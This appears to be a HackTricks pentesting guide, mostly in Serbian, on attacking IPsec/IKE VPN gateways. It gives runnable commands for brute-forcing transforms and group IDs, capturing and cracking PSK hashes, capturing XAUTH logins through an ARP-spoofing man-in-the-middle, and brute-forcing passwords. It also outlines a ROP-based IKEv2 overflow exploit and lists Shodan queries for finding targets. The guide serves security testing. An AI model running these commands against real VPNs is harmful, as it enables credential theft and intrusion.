500/udp - Pentesting IPsec/IKE VPN

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Osnovne informacije

IPsec je široko prepoznat kao primarna tehnologija za osiguravanje komunikacija između mreža (LAN-to-LAN) i od udaljenih korisnika do mrežnog gateway-ja (remote access), i predstavlja osnovu za enterprise VPN rešenja.

Uspostavljanje security association (SA) između dve tačke upravlja IKE, koji radi pod okriljem ISAKMP-a, protokola dizajniranog za autentikaciju i razmenu ključeva. Ovaj proces se odvija u nekoliko faza:

  • Phase 1: Između dve krajnje tačke se uspostavlja siguran kanal. To se postiže korišćenjem Pre-Shared Key (PSK) ili sertifikata, koristeći ili main mode, koji uključuje tri para poruka, ili aggressive mode.
  • Phase 1.5: Iako nije obavezna, ova faza, poznata kao Extended Authentication Phase, verifikuje identitet korisnika koji pokušava da se poveže zahtevajući korisničko ime i lozinku.
  • Phase 2: Ova faza je posvećena pregovaranju parametara za zaštitu podataka uz pomoć ESP i AH. Omogućava upotrebu algoritama različitih od onih u Phase 1 kako bi se obezbedio Perfect Forward Secrecy (PFS), čime se povećava bezbednost.

Podrazumevani port: 500/udp

Takođe često izložen: 4500/udp (NAT Traversal)

Otkrijte servis koristeći nmap

root@bt:~# nmap -sU -p 500 172.16.21.200
Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST
Nmap scan report for 172.16.21.200
Host is up (0.00036s latency).
PORT    STATE SERVICE
500/udp open  isakmp
MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)

Pronalaženje važeće transformacije

IPSec konfiguracija može biti pripremljena da prihvata samo jednu ili nekoliko transformacija. Transformacija je kombinacija vrednosti. Svaki transform sadrži niz atributa kao što su DES ili 3DES kao algoritam enkripcije, SHA ili MD5 kao algoritam integriteta, pre-shared key kao tip autentifikacije, Diffie-Hellman 1 ili 2 kao ključni algoritam distribucije ključeva i 28800 sekundi kao vreme trajanja.

Prvo što treba da uradite je da pronađete važeću transformaciju, kako bi server prihvatio komunikaciju sa vama. Za to možete koristiti alat ike-scan. Po defaultu, Ike-scan radi u main mode i šalje paket ka gateway-u sa ISAKMP header-om i jednim predlogom koji sadrži osam transformacija.

U zavisnosti od odgovora možete dobiti neke informacije o endpoint-u:

root@bt:~# ike-scan -M 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200    Main Mode Handshake returned
HDR=(CKY-R=d90bf054d6b76401)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)

Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify

Kao što možeš videti u prethodnom odgovoru, postoji polje nazvano AUTH sa vrednošću PSK. To znači da je VPN konfigurisan koristeći preshared key (i ovo je zaista dobro za pentester).
Vrednost poslednjeg reda je takođe veoma važna:

  • 0 returned handshake; 0 returned notify: Ovo znači da cilj nije IPsec gateway.
  • 1 returned handshake; 0 returned notify: Ovo znači da je cilj konfigurisan za IPsec i spreman da izvede IKE negocijaciju, i da je jedan ili više od transformi koje ste predložili prihvatljivo (važeća transformacija biće prikazana u izlazu).
  • 0 returned handshake; 1 returned notify: VPN gateways odgovaraju notify porukom kada nijedna od transformacija nije prihvatljiva (iako neki gateways to ne rade, u tom slučaju treba pokušati dalju analizu i revidovan predlog).

Dakle, u ovom slučaju već imamo važeću transformaciju, ali ako ste u 3. slučaju, potrebno je da malo brute-force-ujete da biste pronašli važeću transformaciju:

First of all you need to create all the possible transformations:

for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done

Zatim brute-force svaki od njih koristeći ike-scan (ovo može potrajati nekoliko minuta):

while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt

Ako brute-force nije uspeo, možda server odgovara bez handshakes čak i na valid transforms. U tom slučaju, možete pokušati isti brute-force, ali koristeći aggressive mode:

while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt

Nadamo se da će ispravna transformacija biti vraćena.
Možete pokušati isti napad koristeći iker.py.
Takođe možete pokušati brute force transformacije koristeći ikeforce:

./ikeforce.py <IP> # No parameters are required for scan -h for additional help

U DH Group: 14 = 2048-bit MODP i 15 = 3072-bit
2 = HMAC-SHA = SHA1 (u ovom slučaju). The --trans format is $Enc,$Hash,$Auth,$DH

Cisco preporučuje izbegavanje korišćenja DH grupa 1 i 2 jer nisu dovoljno jake. Stručnjaci veruju da države sa velikim resursima mogu lako razbiti enkripciju podataka koji koriste ove slabe grupe. To se postiže upotrebom specijalne metode koja ih priprema za brzo razbijanje šifara. Iako postavljanje ove metode zahteva velika ulaganja, to omogućava tim moćnim državama da u realnom vremenu čitaju šifrovane podatke ako se koriste grupe koje nisu jake (npr. 1,024-bit ili manje).

Server fingerprinting

Zatim možete koristiti ike-scan da pokušate da otkrijete proizvođača uređaja. Alat pošalje inicijalni predlog i prestane sa ponovnim slanjem. Nakon toga, analiziraće vremensku razliku između primljenih poruka od servera i odgovarajućeg obrasca odgovora; pentester može uspešno fingerprint VPN gateway vendor-a. Štaviše, neki VPN serveri će koristiti opcionu Vendor ID (VID) payload sa IKE.

Specify the valid transformation if needed (using –trans)

Ako IKE otkrije koji je vendor, ispišeće ga:

root@bt:~# ike-scan -M --showbackoff 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200    Main Mode Handshake returned
HDR=(CKY-R=4f3ec84731e2214a)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)

IKE Backoff Patterns:

IP Address       No.  Recv time            Delta Time
172.16.21.200    1    1322286031.744904    0.000000
172.16.21.200    2    1322286039.745081    8.000177
172.16.21.200    3    1322286047.745989    8.000908
172.16.21.200    4    1322286055.746972    8.000983
172.16.21.200    Implementation guess: Cisco VPN Concentrator

Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 returned handshake; 0 returned notify

Ovo se takođe može postići pomoću nmap skripte ike-version

IKEv2-specific: WatchGuard Vendor ID version fingerprinting

Neki IKEv2 daemoni uključuju nestandardne Vendor ID payloads u IKE_SA_INIT odgovoru. WatchGuard Fireware OS enkodira verziju/build uređaja direktno unutar VID-a, što omogućava jednopaketno, pre-auth fingerprinting.

  • Transport: UDP/500 (i UDP/4500 za NAT-T)
  • Packet: IKE_SA_INIT odgovor sadrži jedan ili više Vendor ID payloads
  • WatchGuard format: 32-bajtni hash praćen base64 koji dekodira na npr. VN=12.11.3 BN=719894

Primer raw bajtova iz WatchGuard VID payload-a (poslednjih 12 bajtova su base64):

00000000: bfc2 2e98 56ba 9936 11c1 1e48 a6d2 0807  ....V..6...H....
00000010: a95b edb3 9302 6a49 e60f ac32 7bb9 601b  .[....jI...2{.`.
00000020: 566b 3439 4d54 4975 4d54 4575 4d79 4243  Vk49MTIuMTEuMyBC
00000030: 546a 3033 4d54 6b34 4f54 513d            Tj03MTk4OTQ=

Brzo izvlačenje u shell-u kada imate base64 tail:

echo 'Vk49MTIuMTEuMyBCTj03MTk4OTQ=' | base64 -d
# VN=12.11.3 BN=719894

Napomene

  • Ovo nije deo nijednog IKEv2 RFC-a. Smatrajte to proizvođačkom specifičnošću za brzo mapiranje izloženih/ranjivih verzija Fireware OS.
  • Potrebno je samo izazvati IKE_SA_INIT odgovor; nije potrebna autentifikacija.

Pronalaženje ispravnog ID-a (ime grupe)

Da biste bili u mogućnosti da uhvatite hash potrebno je imati važeću transformaciju koja podržava Aggressive mode i tačan ID (ime grupe). Verovatno nećete znati važeće ime grupe, pa ćete morati da ga brute-force-ujete.
Za to vam preporučujem 2 metode:

Bruteforcing ID with ike-scan

Pre svega pokušajte da pošaljete zahtev sa lažnim ID-jem pokušavajući da prikupite hash (“-P”):

ike-scan -P -M -A -n fakeID <IP>

Ako se ne vrati hash, onda će verovatno ova metoda brute forcing-a raditi. Ako se vrati neki hash, to znači da će biti poslata fake hash za fake ID, tako da ova metoda neće biti pouzdana za brute-force ID-a. Na primer, može biti vraćen fake hash (ovo se dešava u modernim verzijama):

Ali, kao što sam rekao, ako se ne vrati hash, onda bi trebalo pokušati brute-force uobičajenih group names koristeći ike-scan.

Ovaj script će pokušati da brute-force-uje moguće IDs i vratiće ID-e za koje se dobije validan handshake (to će biti validan group name).

Ako ste otkrili specifičnu transformaciju, dodajte je u ike-scan komandu. A ako ste otkrili više transformacija, slobodno dodajte novu petlju da probate sve (trebalo bi da probate sve dok jedna ne radi ispravno).

Možete koristiti the dictionary of ikeforce or the one in seclists of common group names to brute-force them:

while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt

Ili koristite ovaj dict (kombinacija ostala 2 dict-a bez ponavljanja):

Bruteforcing ID with Iker

iker.py takođe koristi ike-scan za bruteforce mogućih imena grupa. Prati sopstvenu metodu da pronađe validan ID na osnovu izlaza ike-scan.

Bruteforcing ID with ikeforce

ikeforce.py je alat koji se takođe može koristiti za brute force ID-e. Ovaj alat će pokušati iskoristiti različite ranjivosti koje bi mogle poslužiti za razlikovanje validnog i nevalidnog ID-a (može davati lažno pozitivne i lažno negativne rezultate, zato preferiram da koristim ike-scan metod kad je moguće).

Po defaultu ikeforce će na početku poslati nekoliko nasumičnih ID-eva da proveri ponašanje servera i odredi taktiku koju će koristiti.

  • The first method is to brute-force the group names by searching for the information Dead Peer Detection DPD of Cisco systems (this info is only replayed by the server if the group name is correct).
  • The second method available is to checks the number of responses sent to each try because sometimes more packets are sent when the correct id is used.
  • The third method consist on searching for “INVALID-ID-INFORMATION” in response to incorrect ID.
  • Finally, if the server does not replay anything to the checks, ikeforce will try to brute force the server and check if when the correct id is sent the server replay with some packet.
    Očigledno, cilj brute force-ovanja ID-a je da se dobije PSK kada imate validan ID. Zatim, sa ID i PSK moraćete da bruteforce-ujete XAUTH (ako je omogućen).

Ako ste otkrili neku specifičnu transformaciju, dodajte je u ikeforce komandu. Ako ste otkrili više transformacija, slobodno dodajte novu petlju da probate sve (trebalo bi da probate sve dok jedna od njih ne proradi).

git clone https://github.com/SpiderLabs/ikeforce.git
pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
./ikeforce.py <IP> -e -w ./wordlists/groupnames.dic

Sniffing ID

(From the book Network Security Assessment: Know Your Network): Takođe je moguće dobiti važeća korisnička imena sniffing veze između VPN clienta i servera, jer je prvi aggressive mode paket koji sadrži client ID poslat nešifrovano

Aggressive Mode identity leakage

Aggressive Mode mora poslati ID rano kako bi gateway mogao da izabere pravi PSK kada postoje više grupa/korisnika. To znači da je identity is exposed pre-auth, za razliku od Main Mode gde je on šifrovan u kasnijim paketima. Možete ga brzo izvaditi:

ike-scan -A <IP>
# Look for: ID(Type=ID_USER_FQDN, Value=ike@corp.tld)

Ako je Aggressive Mode omogućen, capture a crackable PSK handshake and crack it offline (hashcat mode 5400):

ike-scan -A --pskcrack=handshake.txt <IP>
hashcat -m 5400 handshake.txt /path/to/wordlist.txt

Pronađeni PSKs se često ponovo koriste kao kredencijali za druge servise (SSH, VPN client auth), pa ih testirajte protiv izloženih servisa.

Snimanje & cracking hash-a

Na kraju, ako ste pronašli važeću transformaciju i ime grupe, i ako je dozvoljen aggressive mode, vrlo lako možete dohvatiti crackable hash:

ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor

Hash će biti sačuvan u hash.txt.

Možete koristiti psk-crack, john (koristeći ikescan2john.py) i hashcat da crack-ujete hash:

psk-crack -d <Wordlist_path> psk.txt

XAuth

Aggressive mode IKE u kombinaciji sa Pre-Shared Key (PSK) se često koristi za potrebe group authentication. Ovu metodu proširuje XAuth (Extended Authentication), koja uvodi dodatni sloj user authentication. Takva autentikacija obično koristi servise kao što su Microsoft Active Directory, RADIUS, ili slični sistemi.

Prelaskom na IKEv2 primećuje se značajna promena gde se EAP (Extensible Authentication Protocol) koristi umesto XAuth za autentikaciju korisnika. Ova promena osvetljava evoluciju praksi autentikacije u okviru bezbednih komunikacionih protokola.

Local network MitM to capture credentials

Tako možete presresti podatke za prijavu koristeći fiked i proveriti da li postoji neki podrazumevani username (potrebno je preusmeriti IKE traffic na fiked za sniffing, što se može uraditi pomoću ARP spoofing, more info). Fiked će delovati kao VPN endpoint i presrešće XAuth credentials:

fiked -g <IP> -k testgroup:secretkey -l output.txt -d

Takođe, koristeći IPSec pokušajte da izvedete MitM napad i blokirate sav saobraćaj ka portu 500; ako IPSec tunel ne može da se uspostavi, možda će saobraćaj biti poslat nešifrovano.

Brute-forcing XAUTH username i password sa ikeforce

Za brute-forcing XAUTH (kada znate validno ime grupe id i psk) možete koristiti jedan username ili listu usernames i listu passwords:

./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]

This way, ikeforce will try to connect using each combination of username:password.

If you found one or several valid transforms just use them like in the previous steps.

Autentifikacija sa IPSEC VPN-om

U Kali-ju, VPNC se koristi za uspostavljanje IPsec tunela. The profiles must be located in the directory /etc/vpnc/. You can initiate these profiles using the command vpnc.

Sledeće komande i konfiguracije ilustruju proces podešavanja VPN konekcije sa VPNC:

root@system:~# cat > /etc/vpnc/samplevpn.conf << STOP
IPSec gateway [VPN_GATEWAY_IP]
IPSec ID [VPN_CONNECTION_ID]
IPSec secret [VPN_GROUP_SECRET]
IKE Authmode psk
Xauth username [VPN_USERNAME]
Xauth password [VPN_PASSWORD]
STOP
root@system:~# vpnc samplevpn
VPNC started in background (pid: [PID])...
root@system:~# ifconfig tun0

U ovoj konfiguraciji:

  • Zamenite [VPN_GATEWAY_IP] stvarnom IP adresom VPN gateway-a.
  • Zamenite [VPN_CONNECTION_ID] identifikatorom VPN veze.
  • Zamenite [VPN_GROUP_SECRET] grupnim tajnim ključem VPN-a.
  • Zamenite [VPN_USERNAME] i [VPN_PASSWORD] akreditivima za autentifikaciju VPN-a.
  • [PID] označava ID procesa koji će biti dodeljen kada se vpnc pokrene.

Obavezno zamenite rezervisane oznake stvarnim, bezbednim vrednostima prilikom konfigurisanja VPN-a.

IKEv2 exploitation notes: pre-auth IDi/CERT processing bugs

Moderne VPN uređaje često izlažu IKEv2 na UDP/500 (i UDP/4500 za NAT-T). Uobičajena površina napada pre-auth je parsiranje Identification (IDi) i Certificate payloads tokom IKE_SA_AUTH.

Opšti tok eksploatacije kada postoji ranjiv IKEv2 parser:

  • Pošaljite validan IKE_SA_INIT da pregovarate transformacije i kompletirate Diffie–Hellman.
  • Zatim pošaljite IKE_SA_AUTH koji nosi IDi koji okida bag (npr. preveliki Identification koji se kopira u fiksno-dimenzionisani stack buffer pre validacije sertifikata).
  • Rezultujuća korupcija memorije može omogućiti kontrolu nad sačuvanim registrima i povratnom adresom.
  • Ako je NX omogućen ali ostale mitigacije nedostaju (nema PIE/canaries), izgradite ROP chain koji poziva mprotect na stack stranici, a zatim pivotirajte izvršavanje na injektovani shellcode ili na resident interpreter (npr. /usr/bin/python3) ako /bin/sh nije dostupan.

Primer podrazumevanih transformacija zabeleženih na nekim IKEv2 uređajima (WatchGuard Fireware OS 12.11.3):

  • SHA2-256–AES(256-bit) with DH Group 14
  • SHA1–AES(256-bit) with DH Group 5
  • SHA1–AES(256-bit) with DH Group 2
  • SHA1–3DES with DH Group 2

Praktični saveti

  • Ciljajte oba UDP/500 i UDP/4500; NAT-T serveri mogu odgovarati samo na 4500.
  • Povećajte veličinu receive buffera i timeout-e za UDP skenere da izbegnete gubitak paketa.
  • Ako servis izlaže custom Vendor IDs (vidi odeljak iznad), koristite ih da brzo fingerprint-ujete ranjive verzije pre nego što pokušate bilo kakav exploit saobraćaj.

Referentni materijal

Shodan

  • port:500 IKE
  • port:4500 "UDP"
  • udp port:500,4500 "WatchGuard"

References

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks